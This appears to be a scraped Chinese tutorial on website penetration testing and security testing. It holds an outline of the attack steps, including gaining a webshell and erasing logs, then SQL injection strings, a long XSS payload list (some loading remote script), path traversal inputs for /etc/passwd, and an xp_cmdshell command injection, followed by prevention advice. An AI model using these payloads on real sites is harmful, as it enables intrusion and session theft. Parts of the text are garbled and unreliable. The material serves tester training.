如何对网站进行渗透测试和漏洞扫描 网站安全性测试报告


网站安全渗透测试怎么做?信息收集:
1、获取域名的whois信息,获取注册者邮箱姓名电话等 。
2、查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞 。
3、查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞 。
4、查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等 。
5、扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针 。
6、google hack 进一步探测网站的信息,后台,敏感文件 。
漏洞扫描:
开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含, 远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等 。
漏洞利用:
利用以上的方式拿到webshell,或者其他权限 。
权限提升:
提权服务器,比如windows下mysql的udf提权 。
日志清理:
结束渗透测试工作需要做的事情,抹除自己的痕迹 。
总结报告及修复方案:
报告上包括:
1、对本次网站渗透测试的一个总概括,发现几个漏洞,有几个是高危的漏洞,几个中危漏洞,几个低危漏洞 。
2、对漏洞进行详细的讲解,比如是什么类型的漏洞,漏洞名称,漏洞危害,漏洞具体展现方式,修复漏洞的方法 。
如何对网站进行渗透测试和漏洞扫描?1、渗透测试 (penetration test)并没有一个标准的定义,国外一些安全组织达成共识的通用说法是:渗透测试是通过模拟恶意黑客的攻击方法,来评估计算机网络系统安全的一种评估方法 。这个过程包括对系统的任何弱点、技术缺陷或漏洞的主动分析,这个分析是从一个攻击者可能存在的位置来进行的,并且从这个位置有条件主动利用安全漏洞 。
2、渗透测试能够通过识别安全问题来帮助一个单位理解当前的安全状况 。这使促使许多单位开发操作规划来减少攻击或误用的威胁 。
3、渗透测试有时是作为外部审查的一部分而进行的 。这种测试需要探查系统,以发现操作系统和任何网络服务,并检查这些网络服务有无漏洞 。你可以用漏洞扫描器完成这些任务,但往往专业人士用的是不同的工具,而且他们比较熟悉这类替代性工具 。
4、渗透测试的作用一方面在于,解释所用工具在探查过程中所得到的结果 。只要手头有漏洞扫描器,谁都可以利用这种工具探查防火墙或者是网络的某些部分 。但很少有人能全面地了解漏洞扫描器得到的结果,更别提另外进行测试,并证实漏洞扫描器所得报告的准确性了 。
5、漏洞扫描是指基于漏洞数据库,通过扫描等手段对指定的远程或者本地计算机系统的安全脆弱性进行检测,发现可利用漏洞的一种安全检测(渗透攻击)行为 。
6、漏洞扫描技术是一类重要的网络安全技术 。它和防火墙、入侵检测系统互相配合,能够有效提高网络的安全性 。通过对网络的扫描,网络管理员能了解网络的安全设置和运行的应用服务,及时发现安全漏洞,客观评估网络风险等级 。网络管理员能根据扫描的结果更正网络安全漏洞和系统中的错误设置,在黑客攻击前进行防范 。如果说防火墙和网络监视系统是被动的防御手段,那么安全扫描就是一种主动的防范措施,能有效避免黑客攻击行为,做到防患于未然 。
7、网络安全事故后可以通过网络漏洞扫描/网络评估系统分析确定网络被攻击的漏洞所在,帮助弥补漏洞,尽可能多得提供资料方便调查攻击的来源 。
8、互联网的安全主要分为网络运行安全和信息安全两部分 。网络运行的安全主要包括以ChinaNet、ChinaGBN、CNCnet等10大计算机信息系统的运行安全和其它专网的运行安全;信息安全包括接入Internet的计算机、服务器、工作站等用来进行采集、加工、存储、传输、检索处理的人机系统的安全 。网络漏洞扫描/网络评估系统能够积极的配合公安、保密部门组织的安全性检查 。

如何进行WEB安全性测试安全性测试主要从以下方面考虑 主要从以下方面考虑: WEB 的安全性测试主要从以下方面考虑: Injection(SQL 注入) 1.SQL Injection(SQL 注入) (1)如何进行 SQL 注入测试? 首先找到带有参数传递的 URL 页面,如 搜索页面,登录页面,提交评论页面等等. 注 1:对 于未明显标识在 URL 中传递参数的,可以通过查看 HTML 源代码中的 "FORM"标签来辨别是否还有参数传递.在<FORM> 和</FORM>的标签中间的每一个 参数传递都有可能被利用. <form id="form_search" action="/search/" method="get"> <div> <input type="text" name="q" id="search_q" value="" /> <input name="search" type="image" src="https://pipe99.com/media/images/site/search_btn.gif" /> <a href="https://pipe99.com/search/" class="fl">Gamefinder</a> </div> </form> 注 2:当你找不到有输入行为的页面时,可以尝试找一些带有某些参数的特殊的 URL,如 http://DOMAIN/INDEX.ASP?ID=10 其 次,在 URL 参数或表单中加入某些特殊的 SQL 语句或 SQL 片断,如在登 录页面的 URL 中输入 http://DOMAIN /INDEX.ASP?USERNAME=HI' OR 1=1-注 1:根据实际情况,SQL 注入请求可以使用以下语句: ' or 1=1- " or 1=1- or 1=1- ' or 'a'='a " or "a"="a ') or ('a'='a 注 2:为什么是 OR, 以及',――是特殊的字符呢? 例子:在登录时进行身份验证时,通常使用如下语句来进行验证:sql=select * from user where username='username' and pwd='password' 如 输入 http://duck/index.asp?username=admin' admin' or 1='1&pwd=11,SQL 语句会变成以下:sql=select 11 1='1 username='admin' or 1='1 and password='11 admin' 1='1' 11' 11 * from user where ' 与 admin 前面的'组成了一个查询条件,即 username='admin',接下来的语句将 按下一个查询条件来执行. 接 下来是 OR 查询条件,OR 是一个逻辑运 算符, 在判断多个条件的时候, 只要一 个成立,则等式就成立,后面的 AND 就不再时行判断了,也就是 说我们绕过了密码 验证,我们只用用户名就可以登录. 如 输入 http://duck/index.asp?username=admin'--&pwd=11,SQL 语 admin'-admin'-11 句会 变成以下 sql=select * from user where name='admin' -- and pasword='11', admin' --' 1 '与 admin 前面的'组成了一个查 询条件,即 username='admin',接下来的语句将按 下一个查询条件来执行 接下来是"--"查询条件,“--”是忽略或注释,上 述通过连接符注释掉后面的密码验 证(注:对 ACCESS 数据库 数据库无 效). 最后,验证是否能入侵成功或是出错的信息是否包含关于数据库服务器 的相关信息;如 果 能说明存在 SQL 安 全漏洞. 试想,如果网站存在 SQL 注入的危险,对于有经验的恶意用户还可能猜出数据库表和表结 构,并对数据库表进行增\删\改的操 作,这样造成的后果是非常严重的. (2)如何预防 SQL 注入? 从应用程序的角度来讲,我们要做以下三项工作 工作: 工作 转义敏感字符及字符串(SQL 的敏感字符包括 “exec”,”xp_”,”sp_”,”declare”,”Union”,”cmd”,”+”,”//”,”..”,”;”,”‘”,”--”,”%”,”0x”,”><=!-*/()|”, 和”空格”). 屏蔽出错信息:阻止攻击者知道攻击的结果 在服务端正式处理之前提交数据的合法性(合法性检查主要包括三 项:数据类型,数据长度,敏感 字符的校验)进行检查等 。最根本的解决手段,在确认客 户端的输入合法之前,服务端拒绝进行关 键性的处理操作. 从测试人员的角度来讲,在程序开发前(即需求阶段),我们就应该有意识的将 安全性检查应用到需求测试中,例如对一个表单需求进行检查时,我们一般检验 以下几项安全性问题: 需求中应说明表单中某一 FIELD 的类型,长度,以及取值范围(主要作用就 是禁止输入敏感字符) 需求中应说明如果超出表单规定的类型,长度,以及取值范围的,应用程序 应给出不包含任何代码或数据库信息的错误提示. 当然在执行测试的过程中,我们也需求对上述两项内容进行测试. 2.Crossscritping(XSS):(跨站点脚本攻击 跨站点脚本攻击) 2.Cross-site scritping(XSS):(跨站点脚本攻击) (1)如何进行 XSS 测试? <!--[if !supportLists]-->首先,找到带有参数传递的 URL,如 交评论,发表留言 页面等等 。登录页面,搜索页面,提 <!--[if !supportLists]-->其次,在页面参数中输入如下语句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)来进行测试: <scrīpt>alert(document.cookie)</scrīpt> 注:其它的 XSS 测试语句 ><scrīpt>alert(document.cookie)</scrīpt> ='><scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(vulnerable)</scrīpt> %3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E <scrīpt>alert('XSS')</scrīpt> <img src="https://pipe99.com/wfggzx/javascrīpt:alert('XSS')"> %0a%0a<scrīpt>alert(\"Vulnerable\")</scrīpt>.jsp %22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html %3f.jsp %3f.jsp <scrīpt>alert('Vulnerable');</scrīpt&gt <scrīpt>alert('Vulnerable')</scrīpt> ?sql_debug=1 a%5c.aspx a.jsp/<scrīpt>alert('Vulnerable')</scrīpt> a/ a?<scrīpt>alert('Vulnerable')</scrīpt> "><scrīpt>alert('Vulnerable')</scrīpt> ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&& %22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E %3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E& %3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID= 1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= ../../../../../../../../etc/passwd ..\..\..\..\..\..\..\..\windows\system.ini \..\..\..\..\..\..\..\..\windows\system.ini '';!--"<XSS>=&{()} <IMG SRC="https://pipe99.com/wfggzx/javascrīpt:alert('XSS');"> <IMG SRC=https://pipe99.com/wfggzx/javascrīpt:alert('XSS')> <IMG SRC=https://pipe99.com/wfggzx/javascrīpt:alert('XSS')> <IMG SRC=https://pipe99.com/wfggzx/javascrīpt:alert("XSS")> <IMG SRC=https://pipe99.com/wfggzx/javascrīpt:alert('XSS')> <IMG SRC=https://pipe99.com/wfggzx/javascrīpt:alert('XSS')> <IMG SRC="https://pipe99.com/wfggzx/jav ascrīpt:alert('XSS');"> <IMG SRC="https://pipe99.com/wfggzx/jav ascrīpt:alert('XSS');"> <IMG SRC="https://pipe99.com/wfggzx/jav ascrīpt:alert('XSS');"> "<IMG SRC=https://pipe99.com/wfggzx/java/0scrīpt:alert(/"XSS\")>";' > out <IMG SRC="https://pipe99.com/wfggzx/javascrīpt:alert('XSS');"> <scrīpt>a=/XSS/alert(a.source)</scrīpt> <BODY BACKGROUND="javascrīpt:alert('XSS')"> <BODY ōNLOAD=alert('XSS')> <IMG DYNSRC="https://pipe99.com/wfggzx/javascrīpt:alert('XSS')"> <IMG LOWSRC="https://pipe99.com/wfggzx/javascrīpt:alert('XSS')"> <BGSOUND SRC="https://pipe99.com/wfggzx/javascrīpt:alert('XSS');"> <br size="&{alert('XSS')}"> <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer> <LINK REL="stylesheet" HREF="https://pipe99.com/wfggzx/javascrīpt:alert('XSS');"> <IMG SRC='https://pipe99.com/wfggzx/vbscrīpt:msgbox("XSS")'> <IMG SRC="https://pipe99.com/wfggzx/mocha:[code]"> <IMG SRC="https://pipe99.com/wfggzx/livescrīpt:[code]"> <META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');"> <IFRAME SRC=https://pipe99.com/wfggzx/javascrīpt:alert('XSS')></IFRAME> <FRAMESET><FRAME SRC=https://pipe99.com/wfggzx/javascrīpt:alert('XSS')></FRAME></FRAMESET> <TABLE BACKGROUND="javascrīpt:alert('XSS')"> <DIV STYLE="background-image: url(javascrīpt:alert('XSS'))"> <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"> <DIV STYLE="width: expression(alert('XSS'));"> <IMG SRC=javascript:ale <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <IMG STYLE='xss:expre\ssion(alert("XSS"))'> <STYLE TYPE="text/javascrīpt">alert('XSS');</STYLE> <STYLE type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE> <BASE HREF="https://pipe99.com/wfggzx/javascrīpt:alert('XSS');//"> getURL("javascrīpt:alert('XSS')") a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d); <XML SRC="https://pipe99.com/wfggzx/javascrīpt:alert('XSS');"> "> <BODY ōNLOAD="a();"><scrīpt>function a(){alert('XSS');}</scrīpt><" <scrīpt SRC="https://pipe99.com/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt> <IMG SRC="https://pipe99.com/wfggzx/javascrīpt:alert('XSS')" <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> <scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A> <STYLE TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')");}</STYLE><A CLASS=XSS>< <!--#exec cmd="/bin/echo '<scrīpt SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></scrīp 最后,当用户浏览 时便会弹出一个警告框,内容显示的是浏览者当前的 cookie 串,这就 说明该网站存在 XSS 漏洞 。试想如果我们注入的不是以上这个简单的测试代码,而是一段经常精心设计的恶意脚 本,当用户浏览此帖时,cookie 信息就可能成功的被 攻击者获取 。此时浏览者的帐号 就很容易被攻击者掌控了 。(2)如何预防 XSS 漏洞? 从应用程序的角度来讲,要进行以下几项预防: 对 Javascrīpt,VB scrīpt, HTML,ActiveX, Flash 等 语句或脚本进行转义. 在 服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感 字符的校验)进行检查等 。最根本的解决手段,在确认客户端的输入合法之前,服务端 拒绝进行关 键性的处理操作. 从测试人员的角度来讲,要从需求检查和执行测试过程两个阶段来完成 XSS 检查: 在需求检查过程中对各输入项或输出项进行类型、长度以及取 值范围进 行验证,着重验证是否对 HTML 或脚本代码进行了转义 。执行测试过程中也应对上述项进行检查 。3.CSRF:(跨站点伪造请求) 3.CSRF:(跨站点伪造请求) CSRF:(跨站点伪造请求 CSRF 尽管听起来像跨站脚本(XSS),但它与 XSS 非常不同,并且攻击方式 几乎相左 。XSS 是利用站点内的信任用户,而 CSRF 则通过伪装来自受信任用户的请求 来利用受信任的网站 。XSS 也好, CSRF 也好, 它的目的在于窃取用户的信息, SESSION 和 COOKIES 如 (关于 SESSION 和 COOKIES 的介绍请参见我的另一篇 BLOG: http://www.51testing.com/?49689/action_viewspace_itemid_74885.html), (1)如何进行 CSRF 测试? 关于这个主题本人也正在研究,目前主要通过安全性测试工具来进行检查 。(2)如何预防 CSRF 漏洞? 请参见 http://www.hanguofeng.cn/archives/security/preventing-csrf 请 参见 http://getahead.org/blog/joe/2007/01/01/csrf_attacks_or_how_to_ avoid_exposing_your_gmail_contacts.html Injection(邮件标头注入 邮件标头注入) 4.Email Header Injection(邮件标头注入) Email Header Injection:如果表单用于发送 email,表单中可能包括 “subject”输入项(邮件标题),我们要验证 subject 中应能 escape 掉“
” 标识 。<!--[if !supportLists]--><!--[endif]-->因为“
”是新行,如果在 subject 中输入“hello
cc:spamvictim@example.com”,可能会形成以 下 Subject: hello cc: spamvictim@example.com <!--[if !supportLists]--><!--[endif]-->如果允许用户使用这样的 其它用 subject, 那他可能会给利用这个缺陷通过我们的平台给其它 户发送垃 其它 圾邮件 。Traversal(目录遍历 目录遍历) 5.Directory Traversal(目录遍历) (1)如何进行目录遍历测试? 目录遍历产生的原因是:程序中没有过滤用户输入的“../”和“./”之 类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的 任意文件 。测试方法: URL 中输入一定数量的 在 “../” “./” 验证系统是否 ESCAPE 和 , 掉了这些目录跳转符 。(2)如何预防目录遍历? 限制 Web 应用在服务器上的运行进 行严格的输入验证,控制用户输入非法路径 messages(错误信息 错误信息) 6.exposed error messages(错误信息) (1)如何进行测试? 首 先找到一些错误页面,比如 404,或 500 页面 。验证在调试未开通过的情况下, 是否给出了友好的错误提示信息比如“你 访问的页面不存 在”等,而并非曝露一些程序代码 。(2)如何预防? 测试人员在进行需求检查时,应该对出错信息 进行详细查,比如是否给 出了出错信息,是否给出了正确的出错信息 。
如何保证网站的安全性(1)确保网站服务器安全
尽可能选择安全性较高、稳定性较强的服务器,同时,服务器各种安全补丁一定要及时更新,定期进行安全检查,对服务器和网站开展全面的安全检测,以防存在安全隐患,要及时修复安全漏洞 。
(2)确保网站程序安全
程序是网络入侵的有效途径之一 。
a. 网站在开发过程中要选择安全的语言;
b. 保障网站后台安全,分配好后台管理权限,在网站后期,避免后台人为误操作,必要时可采购堡垒机加强安全防护;
c. 注意网站程序各方面的安全性测试,包括防止SQL注入、密码加密、数据备份、使用验证码等方面,加强安全保护措施 。
【如何对网站进行渗透测试和漏洞扫描 网站安全性测试报告】(3)及时更新软件
时刻关注内容管理系统、主题以及插件推出的更新,预防网络攻击者任何见缝插针的机会,必要时可以设置自动更新 。
(4)及时备份网站数据
数据是重点保护对象,定期数据备份对网站发生异常后的数据恢复非常必要,由于用户数据每天都在更新,数据库要做到日备份,最大程度地保证用户数据不被丢失 。
(5)不使用弱口令
攻击者往往从弱口令寻找突破点,不论是企业网站还是其他的,都需要强密码进行基本的保护,设置最少8到10个字符的强密码是最好的,或者设置双重验证来提高网站的安全性,在密码中配合使用大写字母,小写字母,数字和符号的组合 。
(6)咨询安全人员
网站建设既要平时加强安全防范,又要及时应对突发的安全状况,当遇到突发安全状况时,比如网站被入侵,应及时寻求安全专家提供帮助,减少突发网络安全事件带来的损失 。
给你一个网站,你如何做测试?网站测试分以下几方面内容:



  1. 性能测试
    (1)连接速度测试:用户连接到电子商务网的速度与上网方式有关,他们或许是电话拨号,或是宽带上网,打开速度越快的网站,越受用户喜爱 。
    (2)负载测试:负载测试是在某一负载级别下,检测电子商务系统的实际性能 。允许多少个用户同时在线,可以通过相应的软件在一台客户机上模拟多个用户来测试负载 。
    (3)压力测试:压力测试是测试系统的限制和故障恢复能力,也就是测试电子商务系统会不会崩溃 。


  2. 安全性测试
    对网站的安全性(服务器安全,脚本安全)可能有的漏洞测试,攻击性测试,错误性测试 。对电子商务的客户服务器应用程序、数据、服务器、网络、防火墙等进行测试 。用相对应的软件进行测试 。


  3. 基本测试
    包括色彩的搭配,连接的正确性,导航的方便和正确,CSS应用的统一性 。


  4. 网站优化测试
    (1)引擎优化测试:好的网站是看它是否经过搜索引擎优化了,网站的架构、网页的栏目与静态情况等 。
    (2)用户优化测试:用户来到网站能能够在3-5次,找到其需要的内容 。方便用户的网站倍受用户的亲昵 。

  5. 功能实现:网站现有版本,需求是否完全实现 。满足需求的网站才是有用的网站 。


如何进行WEB安全性测试安全性测试
产品满足需求提及的安全能力
n 应用程序级别的安全性,包括对数据或业务功能的访问,应
用程序级别的安全性可确保:在预期的安全性情况下,主角
只能访问特定的功能或用例,或者只能访问有限的数据 。例
如,可能会允许所有人输入数据,创建新账户,但只有管理
员才能删除这些数据或账户 。如果具有数据级别的安全性,
测试就可确保“用户类型一” 能够看到所有客户消息(包括
财务数据),而“用户二”只能看见同一客户的统计数据 。
n 系统级别的安全性,包括对系统的登录或远程访问 。
系统级别的安全性可确保只有具备系统访问权限的用户才能
访问应用程序,而且只能通过相应的网关来访问 。
安全性测试应用
防SQL漏洞扫描
– Appscan
n防XSS、防钓鱼
– RatProxy、Taint、Netsparker
nget、post -> 防止关键信息显式提交
– get:显式提交
– post:隐式提交
ncookie、session
– Cookie欺骗
关于网站安全性测试和网站安全性测试报告的内容就分享到这儿!更多实用知识经验,尽在 www.hubeilong.com